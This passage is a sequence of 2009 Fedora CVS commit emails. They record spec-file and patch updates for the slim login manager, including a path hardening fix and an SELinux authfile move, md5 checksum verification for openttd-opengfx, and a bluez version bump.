@@ -53,6 +55,7 @@ before launching slim.
 %patch3 -p1 -b .gcc43
 %patch4 -p1 -b .gcc44
 %patch5 -p1 -b .curdir
+%patch6 -p1 -b .selinux
 cp -p %{SOURCE3} README.Fedora
 
 %build
@@ -104,6 +107,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
+- Fix BZ #518068
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From arbiter at fedoraproject.org  Sat Oct 10 13:09:36 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:09:36 +0000 (UTC)
Subject: rpms/slim/F-11 slim-1.3.1-curdir.patch, NONE,
	1.1 slim-1.3.1-selinux.patch, NONE, 1.1 slim.spec, 1.15, 1.16
Message-ID: <20091010130936.4126B11C00DB@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20109

Modified Files:
	slim.spec 
Added Files:
	slim-1.3.1-curdir.patch slim-1.3.1-selinux.patch 
Log Message:
* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
- Fix BZ #518068


slim-1.3.1-curdir.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-curdir.patch ---
diff -up slim-1.3.1/slim.conf.orig slim-1.3.1/slim.conf
--- slim-1.3.1/slim.conf.orig	2008-09-26 02:54:15.000000000 +0200
+++ slim-1.3.1/slim.conf	2009-06-11 17:59:06.000000000 +0200
@@ -1,6 +1,6 @@
 # Path, X server and arguments (if needed)
 # Note: -xauth $authfile is automatically appended
-default_path        ./:/bin:/usr/bin:/usr/local/bin
+default_path        /bin:/usr/bin:/usr/local/bin
 default_xserver     /usr/bin/X
 #xserver_arguments   -dpi 75
 

slim-1.3.1-selinux.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-selinux.patch ---
diff -Naur slim-1.3.1.orig/slim.conf slim-1.3.1/slim.conf
--- slim-1.3.1.orig/slim.conf	2009-10-10 14:53:36.869317460 +0200
+++ slim-1.3.1/slim.conf	2009-10-10 14:54:03.951442584 +0200
@@ -14,7 +14,7 @@
 xauth_path         /usr/bin/xauth 
 
 # Xauth file for server
-authfile           /var/run/slim.auth
+authfile           /var/run/slim/slim.auth
 
 
 # Activate numlock when slim starts. Valid values: on|off


Index: slim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/slim/F-11/slim.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- slim.spec	28 Feb 2009 08:48:46 -0000	1.15
+++ slim.spec	10 Oct 2009 13:09:35 -0000	1.16
@@ -1,6 +1,6 @@
 Name:           slim
 Version:        1.3.1
-Release:        5%{?dist}
+Release:        8%{?dist}
 Summary:        Simple Login Manager
 
 Group:          User Interface/X
@@ -14,11 +14,14 @@ Source2:        slim-update_slim_wmlist
 Source3:        slim-fedora.txt
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# TODO: Post these patches to upstream BTS
 Patch0:         slim-1.3.1-make.patch
 Patch1:         slim-1.3.1-usexwd.patch
 Patch2:         slim-1.3.1-fedora.patch
 Patch3:         slim-1.3.1-strtol.patch
 Patch4:         slim-1.3.1-remove.patch
+Patch5:         slim-1.3.1-curdir.patch
+Patch6: 	slim-1.3.1-selinux.patch
 
 BuildRequires:  libXmu-devel libXft-devel libXrender-devel
 BuildRequires:  libpng-devel libjpeg-devel freetype-devel fontconfig-devel
@@ -51,6 +54,8 @@ before launching slim.
 %patch2 -p1 -b .fedora
 %patch3 -p1 -b .gcc43
 %patch4 -p1 -b .gcc44
+%patch5 -p1 -b .curdir
+%patch6 -p1 -b .selinux
 cp -p %{SOURCE3} README.Fedora
 
 %build
@@ -102,6 +107,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
+- Fix BZ #518068
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Jun 21 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-6
+- exclude current directory from default_path in slim.conf (#505359)
+
 * Sat Feb 28 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-5
 - provide service(graphical-login) for anaconda yuminstall (#485789)
 



From arbiter at fedoraproject.org  Sat Oct 10 13:10:35 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:10:35 +0000 (UTC)
Subject: rpms/slim/F-10 slim-1.3.1-curdir.patch, NONE,
	1.1 slim-1.3.1-selinux.patch, NONE, 1.1 slim.spec, 1.12, 1.13
Message-ID: <20091010131035.D67D111C02A0@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20353

Modified Files:
	slim.spec 
Added Files:
	slim-1.3.1-curdir.patch slim-1.3.1-selinux.patch 
Log Message:
* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
- Fix BZ #518068


slim-1.3.1-curdir.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-curdir.patch ---
diff -up slim-1.3.1/slim.conf.orig slim-1.3.1/slim.conf
--- slim-1.3.1/slim.conf.orig	2008-09-26 02:54:15.000000000 +0200
+++ slim-1.3.1/slim.conf	2009-06-11 17:59:06.000000000 +0200
@@ -1,6 +1,6 @@
 # Path, X server and arguments (if needed)
 # Note: -xauth $authfile is automatically appended
-default_path        ./:/bin:/usr/bin:/usr/local/bin
+default_path        /bin:/usr/bin:/usr/local/bin
 default_xserver     /usr/bin/X
 #xserver_arguments   -dpi 75
 

slim-1.3.1-selinux.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-selinux.patch ---
diff -Naur slim-1.3.1.orig/slim.conf slim-1.3.1/slim.conf
--- slim-1.3.1.orig/slim.conf	2009-10-10 14:53:36.869317460 +0200
+++ slim-1.3.1/slim.conf	2009-10-10 14:54:03.951442584 +0200
@@ -14,7 +14,7 @@
 xauth_path         /usr/bin/xauth 
 
 # Xauth file for server
-authfile           /var/run/slim.auth
+authfile           /var/run/slim/slim.auth
 
 
 # Activate numlock when slim starts. Valid values: on|off


Index: slim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/slim/F-10/slim.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- slim.spec	17 Oct 2008 08:56:55 -0000	1.12
+++ slim.spec	10 Oct 2009 13:10:35 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           slim
 Version:        1.3.1
-Release:        2%{?dist}
+Release:        8%{?dist}
 Summary:        Simple Login Manager
 
 Group:          User Interface/X
@@ -14,10 +14,14 @@ Source2:        slim-update_slim_wmlist
 Source3:        slim-fedora.txt
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# TODO: Post these patches to upstream BTS
 Patch0:         slim-1.3.1-make.patch
 Patch1:         slim-1.3.1-usexwd.patch
 Patch2:         slim-1.3.1-fedora.patch
 Patch3:         slim-1.3.1-strtol.patch
+Patch4:         slim-1.3.1-remove.patch
+Patch5:         slim-1.3.1-curdir.patch
+Patch6: 	slim-1.3.1-selinux.patch
 
 BuildRequires:  libXmu-devel libXft-devel libXrender-devel
 BuildRequires:  libpng-devel libjpeg-devel freetype-devel fontconfig-devel
@@ -28,7 +32,9 @@ Requires:       %{_sysconfdir}/pam.d
 # we use 'include' in the pam file, so
 Requires:       pam >= 0.80
 # reuse the images
-Requires:       desktop-backgrounds-basic desktop-backgrounds-compat
+Requires:       desktop-backgrounds-basic
+# for anaconda yum
+Provides:       service(graphical-login)
 
 %description
 SLiM (Simple Login Manager) is a graphical login manager for X11.
@@ -47,6 +53,9 @@ before launching slim.
 %patch1 -p1
 %patch2 -p1 -b .fedora
 %patch3 -p1 -b .gcc43
+%patch4 -p1 -b .gcc44
+%patch5 -p1 -b .curdir
+%patch6 -p1 -b .selinux
 cp -p %{SOURCE3} README.Fedora
 
 %build
@@ -77,9 +86,9 @@ chmod 0644 $RPM_BUILD_ROOT%{_sysconfdir}
 install -d -m755 $RPM_BUILD_ROOT%{_sysconfdir}/pam.d
 install -p -m644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/pam.d/slim
 
-# use default background image
+# replace the background image
 rm -f $RPM_BUILD_ROOT%{_datadir}/slim/themes/default/background.jpg
-ln -s ../../../backgrounds/images/default.jpg $RPM_BUILD_ROOT%{_datadir}/slim/themes/default/background.jpg
+ln -s ../../../backgrounds/tiles/default_blue.jpg $RPM_BUILD_ROOT%{_datadir}/slim/themes/default/background.jpg
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -98,6 +107,24 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
+- Fix BZ #518068
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Jun 21 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-6
+- exclude current directory from default_path in slim.conf (#505359)
+
+* Sat Feb 28 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-5
+- provide service(graphical-login) for anaconda yuminstall (#485789)
+
+* Sun Feb 22 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-4
+- Add header for remove(3)
+
+* Wed Feb 04 2009 Anders F Bjorklund <afb at users.sourceforge.net> 1.3.1-3
+- use small "default_blue" background, instead of large compat "default"
+
 * Wed Oct 15 2008 Marco Pesenti Gritti <mpg at redhat.com>  1.3.1-2
 - Enable pam_selinux
 



From arbiter at fedoraproject.org  Sat Oct 10 13:11:19 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:11:19 +0000 (UTC)
Subject: rpms/slim/F-10 slim-1.3.1-remove.patch,NONE,1.1
Message-ID: <20091010131119.DC7C011C00DB@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20529

Added Files:
	slim-1.3.1-remove.patch 
Log Message:
add patch

slim-1.3.1-remove.patch:
 switchuser.h |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE slim-1.3.1-remove.patch ---
diff -up slim-1.3.1/switchuser.cpp.orig slim-1.3.1/switchuser.cpp
diff -up slim-1.3.1/switchuser.h.orig slim-1.3.1/switchuser.h
--- slim-1.3.1/switchuser.h.orig	2008-09-26 02:54:15.000000000 +0200
+++ slim-1.3.1/switchuser.h	2009-02-22 10:55:51.000000000 +0100
@@ -13,6 +13,7 @@
 #define _SWITCHUSER_H_
 
 #include <stdlib.h>
+#include <stdio.h> /* remove */
 #include <unistd.h>
 #include <string.h>
 #include <pwd.h>



From atorkhov at fedoraproject.org  Sat Oct 10 13:11:36 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 13:11:36 +0000 (UTC)
Subject: rpms/openttd-opengfx/devel opengfx.obg, NONE,
	1.1 openttd-opengfx.spec, 1.4, 1.5
Message-ID: <20091010131136.DB1CE11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20577

Modified Files:
	openttd-opengfx.spec 
Added Files:
	opengfx.obg 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Correct generation of grfs, using nforenum



--- NEW FILE opengfx.obg ---
[metadata]
name        = OpenGFX
shortname   = OGFX
version     = 202
description = OpenGFX base graphics replacement set for OpenTTD. Freely available under the terms of the GNU General Public License version 2. More information available in the readme at http://wiki.openttd.org/OpenGFX_Readme. [OpenGFX 0.1.1]
palette     = Windows

[files]
base     = ogfx1_base.grf
arctic   = ogfxc_arctic.grf
tropical = ogfxh_tropical.grf
logos    = ogfxi_logos.grf
toyland  = ogfxt_toyland.grf
extra    = ogfxe_extra.grf

[md5s]
ogfx1_base.grf     = fe381d9c24c816e60b06031f52085d05
ogfxc_arctic.grf   = 8c8007eaeae8c0cbfdbd3e012ad7927e
ogfxh_tropical.grf = b53a1f61623540a64b81da3e9f87b007
ogfxi_logos.grf    = d5e448a6c2cea2ae625bf8439d6d2484
ogfxt_toyland.grf  = d18531d9173ee73c623b6dc14aff90e8
ogfxe_extra.grf    = 45f29ac95624d69be774e3ae7719a6ab

[origin]
default = Please redownload from official source.


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/devel/openttd-opengfx.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openttd-opengfx.spec	10 Oct 2009 10:01:54 -0000	1.4
+++ openttd-opengfx.spec	10 Oct 2009 13:11:36 -0000	1.5
@@ -3,17 +3,19 @@
 
 Name:           openttd-opengfx
 Version:        0.1.1
-Release:        1%{?prever:.%{prever}}%{?dist}
+Release:        2%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
 License:        GPLv2
 URL:            http://dev.openttdcoop.org/projects/opengfx
 Source0:        http://bundles.openttdcoop.org/opengfx/releases/%{realname}-%{version}%{?prever:-%{prever}}-source.tar.gz
+# From binary release, to check md5sums
+Source1:        opengfx.obg
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
-BuildRequires:  grfcodec dos2unix
+BuildRequires:  grfcodec nforenum dos2unix
 Requires:       openttd
 
 
@@ -31,7 +33,7 @@ dos2unix docs/authoroverview.csv docs/ch
 
 
 %build
-make %{?_smp_mflags}
+make %{?_smp_mflags} NFORENUM=nforenum
 
 
 %install
@@ -49,7 +51,7 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 cd opengfx-nightly
 # Split md5sums out of .obg file and check it
 sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
-    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
+    -e 't end' -e 'D' -e ':end' %{SOURCE1} | md5sum -c
 
 
 %clean
@@ -64,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
+- Correct generation of grfs, using nforenum
+
 * Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
 - New upstream release 0.1.1
 - Check md5sums of resulting files



From arbiter at fedoraproject.org  Sat Oct 10 13:14:11 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:14:11 +0000 (UTC)
Subject: rpms/slim/F-10 slim.spec,1.13,1.14
Message-ID: <20091010131411.1E07811C00DB@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20911

Modified Files:
	slim.spec 
Log Message:
* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-9
- rebuilt



Index: slim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/slim/F-10/slim.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- slim.spec	10 Oct 2009 13:10:35 -0000	1.13
+++ slim.spec	10 Oct 2009 13:14:10 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           slim
 Version:        1.3.1
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        Simple Login Manager
 
 Group:          User Interface/X
@@ -107,6 +107,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-9
+- rebuilt
+
 * Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
 - Fix BZ #518068
 



From hadess at fedoraproject.org  Sat Oct 10 13:21:35 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 10 Oct 2009 13:21:35 +0000 (UTC)
Subject: rpms/bluez/devel .cvsignore, 1.49, 1.50 bluez.spec, 1.100,
	1.101 sources, 1.49, 1.50
Message-ID: <20091010132135.40E0511C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22326

Modified Files:
	.cvsignore bluez.spec sources 
Log Message:
* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 4.56-1
- Update to 4.56



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	5 Oct 2009 10:01:02 -0000	1.49
+++ .cvsignore	10 Oct 2009 13:21:34 -0000	1.50
@@ -1 +1 @@
-bluez-4.55.tar.gz
+bluez-4.56.tar.gz


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/bluez.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- bluez.spec	9 Oct 2009 15:08:22 -0000	1.100
+++ bluez.spec	10 Oct 2009 13:21:34 -0000	1.101
@@ -1,7 +1,7 @@
 Summary: Bluetooth utilities
 Name: bluez
-Version: 4.55
-Release: 2%{?dist}
+Version: 4.56
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 Source: http://www.kernel.org/pub/linux/bluetooth/%{name}-%{version}.tar.gz
@@ -272,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 4.56-1
+- Update to 4.56
+
 * Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
 - Update cable pairing plugin to use libudev
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	5 Oct 2009 10:01:03 -0000	1.49
+++ sources	10 Oct 2009 13:21:35 -0000	1.50
@@ -1 +1 @@
-febbbbb512eb5ed9c28aa8008ae952a7  bluez-4.55.tar.gz
+92ea2e86a5489f0d16567920f2ec9b36  bluez-4.56.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 13:29:26 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 13:29:26 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-12 opengfx.obg, NONE,
	1.1 openttd-opengfx.spec, 1.4, 1.5
Message-ID: <20091010132926.8CFB111C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23188

Modified Files:
	openttd-opengfx.spec 
Added Files:
	opengfx.obg 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Correct generation of grfs, using nforenum



--- NEW FILE opengfx.obg ---
[metadata]
name        = OpenGFX
shortname   = OGFX
version     = 202
description = OpenGFX base graphics replacement set for OpenTTD. Freely available under the terms of the GNU General Public License version 2. More information available in the readme at http://wiki.openttd.org/OpenGFX_Readme. [OpenGFX 0.1.1]
palette     = Windows

[files]
base     = ogfx1_base.grf
arctic   = ogfxc_arctic.grf
tropical = ogfxh_tropical.grf
logos    = ogfxi_logos.grf
toyland  = ogfxt_toyland.grf
extra    = ogfxe_extra.grf

[md5s]
ogfx1_base.grf     = fe381d9c24c816e60b06031f52085d05
ogfxc_arctic.grf   = 8c8007eaeae8c0cbfdbd3e012ad7927e
ogfxh_tropical.grf = b53a1f61623540a64b81da3e9f87b007
ogfxi_logos.grf    = d5e448a6c2cea2ae625bf8439d6d2484
ogfxt_toyland.grf  = d18531d9173ee73c623b6dc14aff90e8
ogfxe_extra.grf    = 45f29ac95624d69be774e3ae7719a6ab

[origin]
default = Please redownload from official source.


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-12/openttd-opengfx.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openttd-opengfx.spec	10 Oct 2009 10:07:33 -0000	1.4
+++ openttd-opengfx.spec	10 Oct 2009 13:29:25 -0000	1.5
@@ -3,17 +3,19 @@
 
 Name:           openttd-opengfx
 Version:        0.1.1
-Release:        1%{?prever:.%{prever}}%{?dist}
+Release:        2%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
 License:        GPLv2
 URL:            http://dev.openttdcoop.org/projects/opengfx
 Source0:        http://bundles.openttdcoop.org/opengfx/releases/%{realname}-%{version}%{?prever:-%{prever}}-source.tar.gz
+# From binary release, to check md5sums
+Source1:        opengfx.obg
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
-BuildRequires:  grfcodec dos2unix
+BuildRequires:  grfcodec nforenum dos2unix
 Requires:       openttd
 
 
@@ -31,7 +33,7 @@ dos2unix docs/authoroverview.csv docs/ch
 
 
 %build
-make %{?_smp_mflags}
+make %{?_smp_mflags} NFORENUM=nforenum
 
 
 %install
@@ -49,7 +51,7 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 cd opengfx-nightly
 # Split md5sums out of .obg file and check it
 sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
-    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
+    -e 't end' -e 'D' -e ':end' %{SOURCE1} | md5sum -c
 
 
 %clean
@@ -64,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
+- Correct generation of grfs, using nforenum
+
 * Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
 - New upstream release 0.1.1
 - Check md5sums of resulting files



From atorkhov at fedoraproject.org  Sat Oct 10 13:30:59 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 13:30:59 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-11 opengfx.obg, NONE,
	1.1 openttd-opengfx.spec, 1.3, 1.4
Message-ID: <20091010133059.03D7911C00E6@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23511

Modified Files:
	openttd-opengfx.spec 
Added Files:
	opengfx.obg 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Correct generation of grfs, using nforenum



--- NEW FILE opengfx.obg ---
[metadata]
name        = OpenGFX
shortname   = OGFX
version     = 202
description = OpenGFX base graphics replacement set for OpenTTD. Freely available under the terms of the GNU General Public License version 2. More information available in the readme at http://wiki.openttd.org/OpenGFX_Readme. [OpenGFX 0.1.1]
palette     = Windows

[files]
base     = ogfx1_base.grf
arctic   = ogfxc_arctic.grf
tropical = ogfxh_tropical.grf
logos    = ogfxi_logos.grf
toyland  = ogfxt_toyland.grf
extra    = ogfxe_extra.grf

[md5s]
ogfx1_base.grf     = fe381d9c24c816e60b06031f52085d05
ogfxc_arctic.grf   = 8c8007eaeae8c0cbfdbd3e012ad7927e
ogfxh_tropical.grf = b53a1f61623540a64b81da3e9f87b007
ogfxi_logos.grf    = d5e448a6c2cea2ae625bf8439d6d2484
ogfxt_toyland.grf  = d18531d9173ee73c623b6dc14aff90e8
ogfxe_extra.grf    = 45f29ac95624d69be774e3ae7719a6ab

[origin]
default = Please redownload from official source.


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-11/openttd-opengfx.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openttd-opengfx.spec	10 Oct 2009 10:12:41 -0000	1.3
+++ openttd-opengfx.spec	10 Oct 2009 13:30:58 -0000	1.4
@@ -3,17 +3,19 @@
 
 Name:           openttd-opengfx
 Version:        0.1.1
-Release:        1%{?prever:.%{prever}}%{?dist}
+Release:        2%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
 License:        GPLv2
 URL:            http://dev.openttdcoop.org/projects/opengfx
 Source0:        http://bundles.openttdcoop.org/opengfx/releases/%{realname}-%{version}%{?prever:-%{prever}}-source.tar.gz
+# From binary release, to check md5sums
+Source1:        opengfx.obg
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
-BuildRequires:  grfcodec dos2unix
+BuildRequires:  grfcodec nforenum dos2unix
 Requires:       openttd
 
 
@@ -31,7 +33,7 @@ dos2unix docs/authoroverview.csv docs/ch
 
 
 %build
-make %{?_smp_mflags}
+make %{?_smp_mflags} NFORENUM=nforenum
 
 
 %install
@@ -49,7 +51,7 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 cd opengfx-nightly
 # Split md5sums out of .obg file and check it
 sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
-    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
+    -e 't end' -e 'D' -e ':end' %{SOURCE1} | md5sum -c
 
 
 %clean
@@ -64,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
+- Correct generation of grfs, using nforenum
+
 * Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
 - New upstream release 0.1.1
 - Check md5sums of resulting files



From atorkhov at fedoraproject.org  Sat Oct 10 13:32:05 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 13:32:05 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-10 opengfx.obg, NONE,
	1.1 openttd-opengfx.spec, 1.3, 1.4
Message-ID: <20091010133205.10BE311C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24086

Modified Files:
	openttd-opengfx.spec 
Added Files:
	opengfx.obg 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Correct generation of grfs, using nforenum



--- NEW FILE opengfx.obg ---
[metadata]
name        = OpenGFX
shortname   = OGFX
version     = 202
description = OpenGFX base graphics replacement set for OpenTTD. Freely available under the terms of the GNU General Public License version 2. More information available in the readme at http://wiki.openttd.org/OpenGFX_Readme. [OpenGFX 0.1.1]
palette     = Windows

[files]
base     = ogfx1_base.grf
arctic   = ogfxc_arctic.grf
tropical = ogfxh_tropical.grf
logos    = ogfxi_logos.grf
toyland  = ogfxt_toyland.grf
extra    = ogfxe_extra.grf

[md5s]
ogfx1_base.grf     = fe381d9c24c816e60b06031f52085d05
ogfxc_arctic.grf   = 8c8007eaeae8c0cbfdbd3e012ad7927e
ogfxh_tropical.grf = b53a1f61623540a64b81da3e9f87b007
ogfxi_logos.grf    = d5e448a6c2cea2ae625bf8439d6d2484
ogfxt_toyland.grf  = d18531d9173ee73c623b6dc14aff90e8
ogfxe_extra.grf    = 45f29ac95624d69be774e3ae7719a6ab

[origin]
default = Please redownload from official source.


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-10/openttd-opengfx.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openttd-opengfx.spec	10 Oct 2009 10:14:47 -0000	1.3
+++ openttd-opengfx.spec	10 Oct 2009 13:32:04 -0000	1.4
@@ -3,17 +3,19 @@
 
 Name:           openttd-opengfx
 Version:        0.1.1
-Release:        1%{?prever:.%{prever}}%{?dist}
+Release:        2%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
 License:        GPLv2
 URL:            http://dev.openttdcoop.org/projects/opengfx
 Source0:        http://bundles.openttdcoop.org/opengfx/releases/%{realname}-%{version}%{?prever:-%{prever}}-source.tar.gz
+# From binary release, to check md5sums
+Source1:        opengfx.obg
